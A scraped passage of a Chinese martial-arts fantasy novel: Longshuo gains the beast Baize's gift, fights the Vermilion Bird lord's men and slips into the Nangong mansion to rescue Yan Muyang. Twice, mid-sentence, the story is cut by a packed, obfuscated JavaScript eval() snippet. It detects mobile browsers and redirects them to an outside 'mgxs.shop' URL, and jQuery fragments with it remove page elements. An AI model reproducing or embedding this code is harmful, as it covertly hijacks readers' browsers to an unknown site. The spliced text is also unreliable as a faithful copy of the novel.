龙烁转身欲逃。 白泽一个纵跃,跳到龙烁面前拦住他的去路:“我说了,留给你和我的时间不多了,你难道不想救你的朋友了?” “我的朋友?你说谁?” “燕沐阳!” 龙烁一惊,上前问道:“他怎么了?” “他现在身处危险之中,随时可能会丧命,你若想救他,须得先答应我的要求!” 龙烁怒斥:“是你抓了他?他现在在哪?” “不是我!是你们那些贪婪的人类!” 白泽前脚一伸,如那土蝼般将龙烁压倒在地,它眼睛直视龙烁,发出淡淡白光,昏暗之中,阴森恐怖。 龙烁顿时感到头昏脑涨疼痛难忍:“你要干什么?” 白泽并不回答,眼睛直勾勾地盯着龙烁。 一缕淡淡的白光如瀑布般直泻而下,照得周围一片明亮。 龙烁苦于无法动弹,只得痛苦呻吟:“这次猎奇之争中被猎杀的凶兽数不胜数,也没见你出手相助,刚刚那只土蝼被杀之时你不但不救,反而还利用它来试探我的武功,你根本就视它们的生命如草芥,还假惺惺地说什么要照拂万物——” “有些凶兽死不足惜——” 白泽眼中的白光兀自不停地向龙烁的头部激射,过不多时,它的声音忽然变得苍老:“我已经告诉过它们务必藏好,不可与人类拼杀,总有一些不服管束的硬是跑出来送死,还累得其他神兽暴露行踪而被屠杀。你们帮我除掉这些不听话的也省得我自己闹心——” 龙烁听到它的声音变得越来越沙哑,呼吸越来越厚重,心下好奇:“你——你在干什么呀——我的头好痛——你快放开我!” 然而,任凭龙烁再怎样撕心裂肺地喊叫,白泽再也不理会。 又过一炷香的功夫,那淡淡的白光逐渐减弱直至消失。 终于,白泽慢慢挺起身子,微微松一口气,它满意一笑:“我已经——把我的通灵之术传给了你——从此以后——你耳聪目明——学什么——都会很快了!” 龙烁连忙站起身,见那白泽突然变得骨瘦如柴极为虚脱,大惑不解,小心翼翼地问:“你——你怎么了?” 白泽强撑身体,从自己胡须后面叼出一个装满浅蓝色液体的琉璃小瓶放到龙烁面前:“你将这个收好——关键时候——可以——救你一命!” 龙烁接过那个透明的琉璃小瓶,不知道那是什么东西,他仔细一瞧,里面装有一种浅蓝色的液体。 白泽身体一颤,倒在地上不住咳嗽。 “你没事吧?要不要喝水?” 白泽摇头:“受人所托——终人之事——我已设下结界——将所有神兽禁锢在了万兽山——你务须答应我——帮我守护好山中兄弟——让它们远离人类——远离纷争——知道吗?” “我——” 龙烁听到“山中兄弟”这四个字,忽然想起燕沐阳、古辰、净心这些他内心认定的好兄弟,不禁大为感动。 他转念又想,那些上古神兽既然被白泽禁锢到了万兽山,那么只要让他们保护好自己,也就是了,他见白泽已经奄奄一息,心念一动:“好吧——我虽不敢保证一定能守护好万兽山,但我一定会尽力而为,这你放心!” 白泽微笑着点点头道“你快去救你兄弟——他已经受了伤!” “什么?” 龙烁大惊,忽地抓住白泽的肩膀:“他在哪里?” “南宫府——” “他为什么在南宫府?是谁打他了?” “是——” 忽听远处嗤嗤嗤几声轻响,龙烁转身一看,数支长剑突然从树林里窜出。 他忙默念锥风术口诀,在前方幻化出一个椭圆形的隐形屏障。 奈何内力不足,他化出的屏障作用范围极为有限,虽然挡住了大部分来剑,但还是有三把“漏网之鱼”直直地刺进了白泽的身体。 白泽被击中胸口要害,鲜血淋漓,痛苦扭动几下便即死去。 “白泽——你醒醒——你先别死——我还有话要问你——” 眼见白泽已经气绝身亡,龙烁忙站起身来朝锦官城的方向奔跑。 刚跑出几步,却被一群红衣人挡住了去路。 一人尖声大笑:“哈哈哈哈——这就是楚作尘一直追寻的那只凶兽吧!呵,他找了那么长时间也没找到,却在这里被我给逮了个正着,当真有趣!” 这人的声音清脆动听,仿佛莺歌鸟鸣,婉转动听。 龙烁认得他的声音,正是朱雀星君——叶子规! “他楚作尘终究还是比不过我——哈哈哈哈!” 叶子规快步走到白泽身旁,踢了踢它的脑袋,见他一动不动已然死去,轻蔑一笑:“嗯,长得确实一副人畜无害的样子,怪不得骗了那么多人上当——” 龙烁仔细一看,瘦脱像的白泽果然与那土蝼有几分相像,这叶子规显然是把它误认作了土蝼。 他心中暗暗叫苦:“你叶子规不但粗心大意,出现的时机也是大大的不好!人家青龙星君诛杀土蝼那是为民除害,而你却只是想着跟他比较高低,单论气度和胸襟,你朱雀星君就已经输了一大截,却还在这里大言不惭地说青龙星君比不过你,真是太也没有自知之明!” 他见叶子规的注意力没有在自己身上,于是小心翼翼向前挪动脚步,想着最好能神不知鬼不觉地悄然离开,好尽快救燕沐阳脱险。 然而刚走出几步,却听叶子规在身后悠悠说道:“站住——何人?” 一名手下快步上前,突然尖叫一声:“啊,朱雀星君,这就是那个姓龙的小子,没错!就是他!我和鬼星主将他绑来,中途遇到一个红衣女子,那女子不知施了什么法术,竟然召唤了无数银色的蝴蝶过来捣乱,我二人一不小心遭了那女子暗算昏死过去了,醒来后他两人就不见了踪影,鬼星主才因此被您处死了——” 龙烁定睛一看,这人正是那日绑架自己的其中一人——那个给自己施了索心术的柳星主。 “噢——原来是他!” 叶子规邪魅一笑:“给我拿下——” 十几名红衣人迅速将龙烁包围,摩拳擦掌地准备擒住他。 龙烁暗想:“即使单打独斗我也没有一点胜算,何况十几个人一起围攻?”,他转念又想:“燕沐阳此时还在南宫府里生死未卜,我决不能被他们抓去星月宫!” 红衣人一拥而上,瞬间就把龙烁逼到一个极小的包围圈内。 龙烁稳住心神,摆出架势准备拼死一搏。 然而,在这群红衣人即将要碰到龙烁身体的时候,他们却突然莫名其妙地集体放慢了速度。 只见一人慢慢向龙烁头部挥出一拳,另一人缓缓朝他腹部踢出一脚,仿佛在嬉戏玩闹一般给他留出了足够的时间让他一一闪避。 各人似着魔了一般大声喊叫,动作却慢得如同树懒过街,力道也轻得仿佛蚊虫叮咬。 几番折腾过后,龙烁轻而易举地避开了所有人的攻击,不禁心中疑惑。 “你们在干什么——”,叶子规怒喝:“跟他玩过家家吗? “星——君——,我——们——应——该——是——中——了——一——种——奇——怪——的——法——” 说话之人是个健壮的小伙子,他的声音像是开了慢放,“术”字还未出口却突然闭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283576|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴。 龙烁回头一瞧,那人双手掐着自己的脖子,似是被什么东西呛了一口。 一人飞身上前帮忙,不一会儿功夫,从那人口中取出一只麻核桃。 那人如释重负,霍地瘫坐到地上! 叶子规不耐烦地用小手指掏掏耳朵:“既然中了人家的缓行术!怎么还不知道长话短说?听得我耳朵都要起茧子了——” 原来那麻核桃是叶子规掷过去的。 “雪山神妪?她不是已经死了吗?”,叶子规喃喃自语。 高处传来一个清脆的声音:“一群人围攻一个,好不要脸——” 龙烁抬头张望,却见左边一棵树上一个十五六岁的白衣少年龇牙咧嘴地嘿嘿笑着,右边一棵树上一个十六七岁的黑衣少年神情漠然地望着下面,中间的一棵大树上一个十七八岁的紫衣女孩双手抱拳食指朝天,口中兀自念念有词。 正是西岭三恶少。 叶子规口中所说的‘缓行术’似乎是那个叫简秋的小姑娘使出来的! 叶子规轻蔑一笑:“我还道是雪山神妪大驾光临,原来是你们三个小鬼头,活得不耐烦了么——” 他伸出右手凌空虚抓,那三个少年便似被一股大力吸住一般纷纷掉落到龙烁身旁。 旋即,三人如同游鱼飞鸟般在那群红衣人中快速穿梭。 片刻之后,回到原地。 无数红色的碎片如天女散花般在空中飞舞飘扬。 龙烁接住一片仔细一瞧,原来是那群红衣人身上的衣衫。 抬眼望去,这十几名红衣人全身上下已被抓得千疮百孔破烂不堪,各人胸背、胳膊、脚跟、大腿都有裸露在外的肌肤。 大家兀自羞红了脸,生拉硬拽身上仅剩的布料捂住自己认为更加需要遮挡的部位。 龙烁扑哧一下笑出声来。 叶子规大怒,催动吸星术法欲将三个少年吸到自己近前。 铭文大笑:“你也想来试试吗?” 叶子规生怕自己的衣服也被扯烂,忙收功闭气:“三个不知天高地厚的小鬼头,你们可知我是谁么?” “哈,我们管你是谁!这是我们的地盘,既然撞到了我们‘西岭三恶少’,只能说是你运气不好!我们才出门了几天,就听人说西岭雪山里出了妖怪,哼,我们西岭雪山可是圣洁之地,又怎么会生出妖怪来?” 铭文指着白泽的尸体:“我们本想着抓住这只妖兽还我们西岭雪山一个清白,却没想到被你灭了口,既然你不仁在先,那就别怪我们不义在后了,嘿嘿,姐姐,咱们给他一个教训,把他的衣服扒光怎么样——” 龙烁心中暗笑:“你们‘西岭三恶少’的这个‘恶’字果然是名不虚传,你们不去在乎自己的名声是美是丑,却去在乎一座山的声誉是好是坏,岂不是有点舍本逐末了!” “一派胡言!”,叶子规怒喝:“就凭你们几个小孩便能打得过我吗?呵,大言不惭——” 他双手聚于胸前,口中默念一句咒语。 三人突然感到胸口处一阵剧痛,有如万把钢针插入心尖,旋即全身上下又变得又痒又痛,各人不住乱挠身体。 龙烁知道他们已经中了索心术,不禁暗暗替他们担忧。 简秋脸上充满困惑,这钻心的疼痛她似曾相识。 袁起忽地跪倒在地,铭文知道自己也支撑不了多长时间,大喊一声:“快——姐姐——你还在等什么?” 简秋突然回过神来,见两个弟弟已然神情萎靡,赶忙双手抱拳,食指朝天,忍痛催动缓行术。 叶子规浑身一颤,便觉自己的身体似乎被什么东西牵制住了,虽然手脚可以移动,动作却慢得如同蜗牛一般。 叶子规内息受制,他使出的索心术便失了威力。 痛痒之感逐渐消散,铭文和袁起迅速冲到叶子规身旁,将他的衣服撕破数个大洞。 叶子规心中一急,使劲全身力气对抗那缓行咒术。 “快闪开!”,简秋大喊:“我快控制不住他了——” 铭文和袁起立即退到简秋身后。 叶子规怒吼一声冲破桎梏,顿时恢复了自由。 “不好!”,龙烁暗想:“简秋姑娘的缓行术法虽然神妙,但是她的内力却远远不及叶子规,如果继续缠斗下去,恐怕合我们四人之力也不是他的对手!” 叶子规见自己的衣衫尽毁,胸中怒气难遏,攥起拳头便要上前再打,却被那柳星主拦下。 那柳星主连忙脱下自己破烂的衣衫护住叶子规的身体:“星君,杀掉这几个小鬼泄愤是小,声誉毁了是大,宫主素来在意咱们的形象,若被他老人家知道咱们这样子,恐怕都会受到脊鞭重罚,不如暂且收手,日后再来教训他们?” 叶子规思索片刻,怒哼一声,一把推开柳星主:“既然你这样说,这事就交给你了,我命你三日之内杀掉他们,提人头来见我,否则你就跟鬼星主一样,自刎谢罪便了——” 他说着飞身隐没在了黑暗之中。 “属——属下遵命!” 柳星主十分无奈:“咱们摊上这么一个主子又有什么法子”,他瞧瞧西岭三恶少,哀叹一声“走罢——” “是!” 十几名红衣人旋即闪身而去。 31.守中堂主 星月宫的人不战自退,龙烁顿时松了一口气。 “简秋姑娘,多谢你们拔刀相助,日后若有机会一定报答,我还有要事在身,咱们后会有期啊!”,龙烁说着转身便要往锦官城的方向奔去。 “龙公子——”简秋喊住他:“请问一下,你知道南宫府在哪吗?” 龙烁停住脚步,他刚要回答,却听铭文道:“姐姐,你问南宫府干嘛?” “听说许多人都去了南宫府,我想过去看看!” “去那干嘛?莫不是你想去找那个叫古辰的小子?” “不是——”简秋突然红了脸:“你别乱说——” 袁起道:“姐姐要带咱们去哪,咱们便去哪,你又何必多言!” “不是啊,哥,那地方小孩子又不会去,咱们去干吗呢?” 简秋解释:“刚那个红衣人不是说明天要带人来找咱们麻烦吗?咱们去到人多的地方——也好避难!” 袁起十分赞同:“龙大哥,请问你是否知道南宫府的所在?” 龙烁反问:“这里不是你们的地盘吗?怎么你们还来问我呢?” 简秋道:“你有所不知,家师对我们管教甚严,自小不允许我们出山,去年年底,我们师父寿终正寝驾鹤仙去,我们安顿好她老人家的后事之后才敢下山,上次在巫山“仙人酌”酒肆中一别之后,却没想到能在这里见到你,你这是要去哪里啊龙公子?” 龙烁细细打量这三人,暗觉简秋和袁起这两个孩子教养甚好,铭文那孩子虽然说话直了些,倒也不似有什么坏心眼,我跟他们结伴同行倒也有个照应。于是说道:“啊,实不相瞒,我也正是要去南宫府,我打听到这南宫府在锦官城的西北部,不如咱们一起同行?” “那太好了龙公子,请你带路!” 四人一口气奔出十几里,仅用一炷香的时间便赶回到了锦官城。 他们顺着官道向西北方向又行个把时辰,终于在傍晚时分赶到了南宫府。 此时街道上人来人往,南宫府的大门却依然紧闭。 环视四周,这座府邸周围景色甚好,不但花团紧簇树木林立,而且三面环山一面傍水,占地面积足足千亩,确实是个清幽僻静的好地方。 只是这南宫府四周围墙甚高,看不到里面的,几人一时间也不知该如何进去。 龙烁带着三人绕到偏门查看,发现这里道路难行人迹罕至,是个翻墙入室的好地方。 四人顺着大树爬上围墙,竟纵身跃了进去。 蹄声得得,一阵嘶鸣之声震耳欲聋,原来几人刚好跳进了南宫府的马厩。 这马厩既广且大,竟然一眼望不到头,映入眼帘的全是五颜六色膘肥体壮的骏马良驹。 龙烁粗略估算,这里至少圈养着三百余匹宝马。 离几人较近的马儿受到惊吓,对着他四人放声嘶鸣,其余马匹随声应和,一时之间,此起彼伏,尽是马匹惊恐的嘶嚎之声。 几人担心引来府内家丁,赶忙跑出马厩,原来外面是南宫府的后花园,离正房尚有很大一段距离。 龙烁带着三人小心绕过一处水榭园林,在一座假山的后面躲了起来。 抬眼望去,西首一处房屋中时不时地有人出入。 那些进进出出的人身上都带有佩刀佩剑,显然便是江湖上的人,他们有的正在吧唧嘴,有的正在剔牙,似乎是刚刚饱餐了一顿。 原来那里是饭堂。 那些江湖人士吃完饭便陆续往东首的一处房屋走去。 龙烁细细瞧去,那房屋的牌匾上赫然写着“守中堂”三个大字,料想那里很可能就是南宫府的会客大厅。 此时龙烁没有任何心情去看热闹,心心念念的只是尽快找到燕沐阳,白泽说他此时正在受刑,也不知道被关在了什么幽深僻静的地方,心下暗自担忧。 “简秋姑娘,我想那里就是南宫老爷的会客大厅了,你们直接进去即可,反正大家都不认识!” “好!那你呢?” “我还要寻找一位朋友,他此时正在南宫府——‘做客’,就不陪你们进去了,告辞!” 未等简秋回答,龙烁已经不见了踪影。 铭文兀自疑惑道:“他朋友既然在这里作客,为什么龙大哥不先去会客厅找一找呢?” 此时天色已经全然黑了下来,他孤身在南宫府的林苑中找寻了半个时辰,发现这南宫府中竟然大的离谱。 他挨个房屋细细搜寻,几次险些被家丁发现行踪,好在他足够聪明机敏,学那猫叫犬吠才勉强躲过数劫。 又寻一炷香的功夫,龙烁发现了红叶母亲的卧房,她此时正在训斥枫林,埋怨他办事不力护主不周,又叮嘱他现在府中来了许多不速之客,务必把红叶看好不要让她出来闯祸云云。 龙烁心下一喜,红叶果然被古辰带回来了。 他赶忙又去搜寻别的屋舍,连牛棚鸡舍灶房茅厕都找到了,却仍没有发现燕沐阳和红叶被关的地方。 正在他焦急万分手足无措的时候,忽听一个中年男子的声音隐约从西首的屋舍里传出。 远远望去,那门口的牌匾上赫然写着三个大字——览月堂! 借着纸窗透出来的光亮,龙烁小心翼翼地走到廊下躲在窗外,他嗦嗦手指在窗户上戳出一个小洞,从洞口的缝隙里向内窥视,却见一个坐着轮椅的中年男子正背对着自己与一人交谈。 此人正是亭韵山庄的庄主——谢亭韵。 只听对面那人道:“大哥,你在我府上休整了一天一夜,那痹阻之痛可好些了吗?” 龙烁暗想原来这人便是南宫盈,红叶妹子的父亲! “盈弟,你别岔开话题!”,谢亭韵怒道:“咱们西南八俊可是拜了把子的兄弟姐妹,曾经立下誓言有福同享有难同当,我让雨儿唤你作叔父,你就如此对待我吗!《天书》一事是你告诉我的,还让我借这次猎奇之争,让天下英雄帮咱们抓捕白泽拿到《天书》,然而猎奇之争开始之后你却不来参与,你是不是早就料到这次猎奇之争凶险非常?你置天下英雄乃至咱们兄弟姐妹的生死安危于不顾,岂不是太也不仁不义了?现在各门各派都死伤惨重,大家都把矛头指向了我,而你却还在这里淡定地享清福——” “大哥你误会了,今年的猎奇之争你推后了半个月,你这一推迟恰好与我们祭祖之日互相冲突,八月十八是我们祭祖的日子我每年都会去,这大哥你是知道的!” “哼!” 这理由谢亭韵似乎并不买账。 南宫盈继续道:“大哥,实话跟你说,我大儿子为了追寻小女误入万兽山,被一只饕餮吞进了腹中,这个消息我刚刚知道的时候也悲痛万分,如果我早就知道这次猎奇之争异常凶险,我必会提前通知家里人不得入山!况且,据我所知,咱们兄弟姐妹恰巧都没有入山,你说这不是上天保佑咱们西南八俊吗?” 龙烁心中惊讶:“原来红叶的哥哥南宫啬也已经命丧万兽山!” “呵!那是因为城东百姓说附近出现妖怪,我担心是万兽山的凶兽跑出来吃人,因此命他们前去猎寻,这才侥幸躲过一劫!” “噢?万兽山被困兽网重重包围,几百年来从未跑出过一只凶兽,又怎么会突然有凶兽跑出来吃人?” “我怎会知道!他们到现在尚未回来!这下可好,各门各派都找上门来了,你说怎么办吧!” “大哥你不必担心,我既让你们安心在这里休息,自然有法子来对付他们!这不,我已经设宴款待大家了!我先安抚下来大家的情绪,再图给大伙儿一个交代!” “你能给他们什么交代?你以为他们真的是为那些死去的人来讨说法吗?江湖之人图个什么你不知道吗?他们此行的根本目的就是那本《天书》!哎!只可惜我雨儿办事不力,回来途中将其弄丢了,否则的话,用区区一本无字的石书来平息这一场江湖恩怨又有什么不好!” “大哥你怎么这样说?那本《天书》到底记录了什么武功术法难道你不想知道吗?从前咱们二人一起网罗天下奇功妙术,只要听说谁又创出了新奇术法,咱们便一起设法得到,你那时只要得到一本精妙的武功术法秘籍就高兴的一连几天不睡觉,日夜勤加修炼,只图武功术法能够精进,怎么现在你却变了?” “过去之事,不提也罢!”,谢亭韵叹一口气:“自从我患上这严重的痹病,一到刮风下雨便会痛不欲生,我被这病痛折磨得已经了无生趣,自觉命不久长,哪里还有心思和你一起去搜罗天下的武功术法秘籍了?” “既是如此,我也不再勉强大哥!” “我只是担心,万一哪一天我忽然病逝,我祖上传下的这一片基业和我雨儿怎么办!” “大哥你尽可放心,雨儿是我的侄儿,无论如何我都会照顾好他,过两日叶儿与雨儿成亲之后,咱们更是亲上加亲!大哥你就不要再多虑了,照顾好自己的身体才是最要紧的!” “嗯!” 脚步声响,南宫盈似乎从上堂走了下来。 谢亭韵摇着轮椅稍一挪动,龙烁便看清了南宫盈的面貌。 只见一个身高八尺、头戴方巾、修眉阔鼻、一脸须髯的中年男子朝谢亭韵慢慢走去:“大哥,那些人为夺《天书》而来,这一节我早已想到,灵雨侄儿不是说,《天书》是被那个叫燕沐阳的白衣人给偷走了吗?昨夜我派出人手前去捉拿,现下已将那燕沐阳擒获了——” 龙烁一惊,原来古兄本是被南宫盈派来抓捕沐阳兄的,却没想到红叶也在,于是顺带把她也带回去了,只留了我一人在悦仙居! 他悔不当初,攥紧拳头往地上狠狠一捶,懊恼昨晚竟然一点也没发现端倪,轻而易举地便中古辰的圈套被他下了蒙汗药,看来自己还是太年轻了! 龙烁又想,净心这小子肯定是先去冒充沐阳兄去偷了《天书》,又来冒充我去试探沐阳兄,最后一跑了之,将这一口黑锅一股脑地甩给了我二人,把我二人耍得团团转,也算得是心机颇深! 龙烁暗自摇头:“怪只怪我,行走江湖实在是经验太浅!” “什么?难道《天书》找到了?”,谢亭韵惊喜道。 南宫盈微微摇头。 龙烁心下暗道:“《天书》根本不是被我二人拿走的,你们抓错了人,又怎么会拿到《天书》!况且真正的《天书》其实是白泽的通灵之术,你们就算拿到了那块石头也是无用!” 他转念又想,白泽说它已经把通灵法术传给了我,而自己身体又并没有感到任何变化,也不知道这白泽葫芦里到底卖的是什么药。 “可惜这燕沐阳是一块难啃的骨头!”,南宫盈继续说道:“即使被打得遍体鳞伤,对任何人也不去瞧上一眼,更不吭上一声,不知是个瞎子还是个哑巴——” 龙烁差点急出了声,直想冲进去问:“你们把燕沐阳怎么样了?”,却听一人突然破门而入朗声叫道:“叔父,那人不是瞎子也不是哑巴,你把他藏哪里了?让我去问他——” 正是谢灵雨。 龙烁见他不论走到哪里,背上都负着一套弓箭,威风凛凛霸气十足,不禁有些嫉妒。 “侄儿莫急,我将他藏在了地牢之中,没有我的带路任何人都无法进入,我这就带你去问话!” “好!” 闻声,龙烁又惊又喜,打算尾随他们进入地牢,设法救出燕沐阳! 忽听一人慌慌张张地从门外跑进来喊道:“老——老——老——老——老爷——不——不——不——不——不好了!” 不知这人是天生的结巴,还是被吓得说不出话,一句“老爷不好了”愣是说了半天。 “怎么了?”,南宫盈皱眉:“你长话短说!” “他——他——他——他——他们——打——打——打——打——” 这人一边说一边比画,动作比讲话却利索很多。 谢灵雨很不耐烦:“他们打谁了?” 南宫盈道:“他们打起来了?” “对对对对对对对——” 谢灵雨轻蔑一笑,不再言语。 南宫盈立即转向谢亭韵道:“大哥!你暂且在这里躲避,让灵雨侄儿随我去堂中看看——” 谢亭韵微微点头,南宫盈便带着谢灵雨迅速出了房门。 龙烁大感失落,他现在只想尽快找到燕沐阳,然而没有南宫盈的带路恐怕到天亮也找不到他,无奈只得跟随他们朝着守中堂的方向奔去。 还没到门口,龙烁便远远地听到一阵喧哗之声。 似乎有人在喝彩、有人在劝架、还有人在咆哮。 南宫盈带着谢灵雨从正门走进去后,堂中顿时安静了下来。 龙烁小心翼翼地跟在他们后面,悄无声息地混进了堂中。 这守中堂虽然地方宽广,却是东西南北都挤满了人,只留出中央一小片的空地,似是刚才他们打架的地方。 龙烁四下眺望,发现许多熟悉的身影,青丘派的邓师兄和吕师弟、玉龙帮的张全亮和关武、清风观的那几个年轻人都在其中,简秋和她两个弟弟站在西首不起眼的地方远远观望,还有许多不知名的帮派高手和世家子弟,他们有的持刀有的拿棒,各人都紧紧盯着这守中堂主缓步到上堂。 南宫盈走到上堂,几个年轻人顿时从人群之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287780|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪出,他们将长剑收入鞘中,依次站到南宫盈的身后。 其中一人正是古辰。 龙烁一看到他就气不打一处来,直想冲上前去薅住他的脖领将他暴揍一顿,碍于当下人多嘴杂,只得干脆移开了目光不去看他。 红叶曾经提到过她的一干师兄姐弟,此刻一见,他们果然各具特色。 站在南宫盈左手边的是红叶的大师兄丁松,他的右侧大腿缠着绷带,似乎受了伤。 他的肩膀上站着一只古灵精怪的小猴子,两只大大的眼睛滴溜溜乱转,正自好奇地看着这里的一切! 显然他修的是猴语! 站在南宫盈右手边的是红叶的二师兄戴荣,在他的肩膀上站着一只硕大的鹦鹉,它时不时地扑扇着一双大大的翅膀跃跃欲试。 他修的是鸟语! 站在丁松左手边的是红叶的三师姐成馥,她长着一张鹅蛋脸,大大的眼睛深邃而迷人,一把鬼头刀负在身后,风流潇洒自然大方,配上她温柔妩媚的外表,简直是刚中带柔,柔中有刚。 虽然不见她身上有什么可爱的小动物,但是她左边耳朵上的那只大大的耳环引起了龙烁的注意。 那只耳环是一条又细又长的小虫,如蚯蚓一般蜿蜒而上,小虫的嘴巴张得大大的,狠狠地咬在了成馥的耳垂之上,让人忍不住想走上前去问一问她到底疼还是不疼。 站在成馥左手边的是红叶的小师弟陆青,他脸上略带婴儿肥,长得似乎是个不谙人情世故的年轻小伙子,但是他一抹刘海斜跨过额头,像个冷面杀手,大大消除了他身上的那股稚气。 龙烁回过视线,却发现古辰正在惊奇地看着自己,似是在询问:“你怎么跑这儿来了?”,于是眉头骤然紧锁,闷哼一声,又移开了视线。 人群之中一人粗声粗气地喊道:“南宫盈,你终于出来啦!” 众人齐向那说话之人望去,发现这人身高八尺,衣着古怪,雄健的双臂赤裸在外,脖子上还戴着两只金项圈,是个异族的壮士。 这人身子左摇右晃已经喝了不少酒,只见他将手中的一个大酒坛子提在面前晃了晃说道:“看在你好酒好肉招待我们的份上,只要你交出谢亭韵,这久不见客的怠慢之罪咱们就不来跟你计较啦!”,他说着便咕咚咕咚地又喝了起来。 龙烁暗想这人喝得烂醉如泥多半不是为讨说法而来,可能是混进来骗吃骗喝的。 南宫盈捋了捋胡须微微一笑:“今日天下英雄豪杰齐聚在此,令我南宫府蓬荜生辉,在下欢迎之至!各位远道而来便是客,我看你们之中很多都是江湖上成名的人物,其中一些更是在下的朋友,考虑到你们长途跋涉奔波至此必定身困马乏疲惫至极,所以我特意吩咐了下人备上酒菜款待大家,一来是为各位英维接风洗尘,二来呢便是想让大家好好放松一下,好让我南宫盈略尽地主之谊!这次猎奇之争各门各派都损失惨重,连我的爱子也不幸遇难,我很遗憾,也十分惋惜那些因此而丢掉性命的英雄好汉,但是逝者已矣,咱们何不如化干戈为玉帛,化悲愤为动力,日后各位若是有用得着在下的地方,我南宫赢自会尽力而为!” 之前因燕沐阳一事,龙烁对南宫盈心生芥蒂,可是刚刚他这一番话既诚恳又感人,看来他并非是个不明事理之人,那么一会儿说不定还可以找机会前去跟他说明情况,请他把燕沐阳放出来也未可知! 忽听一人尖声叫道:“放屁!就凭你一顿酒饭和几句甜言蜜语就想糊弄过去了吗?他谢亭韵骗我们大伙儿来参加什么狗屁猎奇之争,我哥哥弟弟都在万兽山中丢了性命,这笔账怎么算?” 那人一把大刀握在手中,穿着打扮似是山寨中人。 龙烁见他呼哧呼哧地喘着粗气,怒不可遏的样子十分骇人,似是一定要为他哥哥和弟弟报仇雪恨。 谢灵雨上前喝道:“入山之前我爹爹已经提示过你们,这万兽山中十分危险,若是丢了性命全是你们自己的责任,现在你们又来找我爹爹的麻烦,简直是岂有此理!” 那山寨男子捂着鼻子骂道:“哎呦,老的放屁已经够臭了,没想到小的放屁居然更臭!你老子骗我们说山中有神兽白泽,谁抓到它就能拿到困兽网!白泽到底是个什么东西,又是长什么样子?谁见到了?你见到了吗?你见到了吗?哼!恐怕世界上根本没有什么白泽,你们骗我们进山就是要我们去送死的!我告诉你,就算天下英雄都死光了,你老子也当不上武林至尊——” 谢灵雨大怒:“你嘴巴放干净点,白泽你没见到,我却见到了,玉龙帮的人也见到了,不信你问他们!”,他说着指向张全亮和关武。 张全亮并不搭话。 关武挺身而出:“不错,我们看到了白泽,也拿到了它手中的《天书》,并且将《天书》交还给了谢少庄主——” 龙烁心中暗暗叹服:“关大哥不但善于察言观色,而且还很会踢皮球,他见帮主不愿意蹚这浑水,几句话便把众人的矛头又调转了回去!” 众人一阵嘀咕,互相询问关于《天书》的事情。 那山寨男子疑道:“《天书》是个什么东西?拿出来瞧瞧,若是什么无价之宝,拿来换了钱给大伙儿分分,对我们来说也算是个安慰!” 南宫盈轻笑一声:“这位山大王若只是需要金银珠宝,何须以那《天书》换得,咱们私下商量即可!” 西首一人高声喊道:“我不要金银珠宝,江湖上早有传闻,说那神兽白泽手中的《天书》是个无价之宝,因此他谢亭韵才号召天下英雄捉拿白泽!现在那《天书》是否在谢亭韵手上?让他赶紧交出来,我倒要看看害我师兄惨死的究竟是个什么宝物!” 谢灵雨道:“那就是一块石头而已,上面一个字都没有,根本不是什么宝物!” “呵!”,南首一人不信:“口说无凭,是骡子是马,拉出来遛遛才知!” “对!”“就是!”“没错!”众人应和。 南宫盈道:“实不相瞒,《天书》目前并不在我灵雨侄儿手上,至于我大哥谢亭韵,他现在也不方便见客!” 那山寨男子怒喝:“那就别怪我大开杀戒啦,就算挖地三尺我也要把谢亭韵找出来乱刀分尸!” 北首一人嚷道:“南宫老爷,我知道你武艺高强内力深厚,但你若是执意要袒护谢亭韵,就别怪我们不客气了,倘若我们这许多人合力围攻,就算加上你的徒弟们一起,恐怕也占不到什么便宜!” 南宫盈面不改色,厉声道:“在座的诸位英雄,在下扪心自问没有对不住任何人的地方,大家既然都是江湖上有头有脸的人物,我相信各位绝对不会以多欺少,在我南宫府里肆意胡闹!” 32.奇门妙术(上) “哈哈哈哈——” 一个手持折扇作儒生打扮的中年男子朗声笑道:“在下温酌言,素闻南宫老爷博学多才,不但武艺精湛术法高超,而且有勇有谋气度不凡,今日一见果然如此,佩服佩服!”,他说着深深施了一礼。 “不敢当!”,南宫盈还礼:“原来是素有‘三寸不烂舌’之称的温学士,在下久仰大名!” “幸会!” 温酌言转身向大家高声喊道:“既然南宫老爷敬重咱们是江湖上有头有脸的人物,咱们也不能驳了南宫老爷的面子,我素闻南宫老爷自创的蛊灵之术神乎其技,门下弟子各修一种动物语言,能够对它们随意驱使以为己用。咱们不如就按江湖上的规矩比试较量一番,大家也好有个机会把自己的神功妙术使将出来让大家开开眼!我们既然不会乘人之危合力围攻你们南宫府,那么南宫老爷你自然也不能亲自上阵,就派几位高徒出来较量算了,各位英雄若有什么神妙的武功术法自可上前挑战,我们若是赢了,就请南宫老爷速请谢庄主出来给我们一个交代如何?” “那你们若是输了呢?”谢灵雨叫道。 温酌言道:“我们若是输了,有何恩怨咱们便不再追究,自行散去便了!” 大家你看看我我看看你,心中各有计较。 大部分人觉得他们这边高手众多已经明显占了便宜,于是点头同意。还有一些人打算见机行事,想着如果比武输了再找别的由头前来闹事。更有一些人说嘴上说行,心里却想:“若是输了,明的不行就来暗的!” “他妈的——” 